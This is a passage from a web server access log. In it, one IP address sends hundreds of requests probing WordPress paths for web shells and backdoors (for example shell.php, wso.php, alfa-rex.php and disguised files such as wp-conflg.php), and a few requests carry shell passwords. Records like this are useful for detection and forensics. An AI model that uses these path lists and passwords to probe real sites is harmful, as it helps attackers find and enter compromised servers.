HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:49 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:54 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:57 -0400] "GET /wp-admin/images/layout.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:28:58 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:01 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:02 -0400] "GET /wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:03 -0400] "GET /wp-admin/includes//12wvdscz.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:06 -0400] "GET /wp-admin/includes//inputs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:07 -0400] "GET /wp-admin/includes//install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:10 -0400] "GET /wp-admin/includes//links.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:14 -0400] "GET /wp-admin/includes//nav.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:19 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:22 -0400] "GET /wp-admin/includes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:24 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:26 -0400] "GET /wp-admin/includes/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:29 -0400] "GET /wp-admin/includes/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:34 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:42 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:48 -0400] "GET /wp-admin/includes/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:53 -0400] "GET /wp-admin/includes/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:56 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:29:59 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:01 -0400] "GET /wp-admin/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:06 -0400] "GET /wp-admin/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:21 -0400] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:28 -0400] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:36 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:43 -0400] "GET /wp-admin/js//themes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:49 -0400] "GET /wp-admin/js//wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:53 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:30:56 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:00 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:03 -0400] "GET /wp-admin/js/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:05 -0400] "GET /wp-admin/js/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:09 -0400] "GET /wp-admin/js/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:12 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:14 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:17 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:20 -0400] "GET /wp-admin/js/widgets/edit.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:23 -0400] "GET /wp-admin/js/widgets/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:25 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:27 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:29 -0400] "GET /wp-admin/js/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:31 -0400] "GET /wp-admin/js/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:34 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:35 -0400] "GET /wp-admin/kpjQgosHcIU.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:37 -0400] "GET /wp-admin/log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:40 -0400] "GET /wp-admin/m5gxnfKML7e.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:42 -0400] "GET /wp-admin/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:44 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:45 -0400] "GET /wp-admin/maint//go.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:47 -0400] "GET /wp-admin/maint/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:50 -0400] "GET /wp-admin/maint/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:53 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:31:55 -0400] "GET /wp-admin/maint/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:00 -0400] "GET /wp-admin/maint/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:05 -0400] "GET /wp-admin/maint/index.php?pass=lin598853003 HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:13 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:16 -0400] "GET /wp-admin/maint/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:20 -0400] "GET /wp-admin/media.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:21 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:24 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:25 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:26 -0400] "GET /wp-admin/network/admiin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:29 -0400] "GET /wp-admin/network/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:30 -0400] "GET /wp-admin/network/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:32 -0400] "GET /wp-admin/network/b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:34 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:36 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:40 -0400] "GET /wp-admin/network/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:41 -0400] "GET /wp-admin/network/network.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:43 -0400] "GET /wp-admin/network/plugins.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:45 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:47 -0400] "GET /wp-admin/network/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:49 -0400] "GET /wp-admin/network/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:52 -0400] "GET /wp-admin/network/x2.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:55 -0400] "GET /wp-admin/network/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:57 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:32:59 -0400] "GET /wp-admin/nu9OXf8vKDb.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:02 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:04 -0400] "GET /wp-admin/plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:06 -0400] "GET /wp-admin/plugins HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:09 -0400] "GET /wp-admin/plugins/setup HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:10 -0400] "GET /wp-admin/pn2V4tLmwH3.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:12 -0400] "GET /wp-admin/radio.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:13 -0400] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:15 -0400] "GET /wp-admin/shapes.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:17 -0400] "GET /wp-admin/shell.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:19 -0400] "GET /wp-admin/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:21 -0400] "GET /wp-admin/soDcBgSFtLA.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:24 -0400] "GET /wp-admin/swm6p5Zny1e.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:27 -0400] "GET /wp-admin/tYDX5wNaIbH.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:29 -0400] "GET /wp-admin/themes HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:31 -0400] "GET /wp-admin/uiTWAJnRoeg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:35 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:36 -0400] "GET /wp-admin/user/?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:38 -0400] "GET /wp-admin/user/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:39 -0400] "GET /wp-admin/user/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:40 -0400] "GET /wp-admin/user/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:42 -0400] "GET /wp-admin/user/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:44 -0400] "GET /wp-admin/user/bak.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:45 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:46 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:47 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:50 -0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:51 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:54 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:57 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:33:58 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:01 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:03 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:07 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:09 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:11 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:13 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:16 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:18 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:21 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:23 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:26 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:29 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:31 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:33 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:36 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:38 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:41 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:41 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:42 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:44 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:45 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:47 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:48 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:50 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:51 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:53 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:54 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:55 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:56 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:57 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:58 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:34:59 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:01 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:05 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:06 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:10 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:14 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:21 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:23 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:25 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:27 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:28 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:30 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:33 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:35 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:37 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:40 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:41 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:43 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:44 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:45 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:45 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:47 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:47 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:48 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:49 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:51 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:51 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:52 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:54 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:56 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:57 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:35:58 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:00 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:00 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:01 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:02 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:03 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:04 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:04 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:05 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:06 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:08 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:09 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:09 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:10 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:10 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:11 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:11 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:12 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:13 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:14 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:14 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:15 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:17 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:19 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:20 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:21 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:22 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:23 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:25 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:26 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:27 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:28 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:29 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:30 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:31 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:32 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:32 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:33 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:35 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:36 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:37 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:38 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:39 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:41 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:42 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:43 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:45 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 - - [19/Apr/2025:19:36:47 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.169.29.118 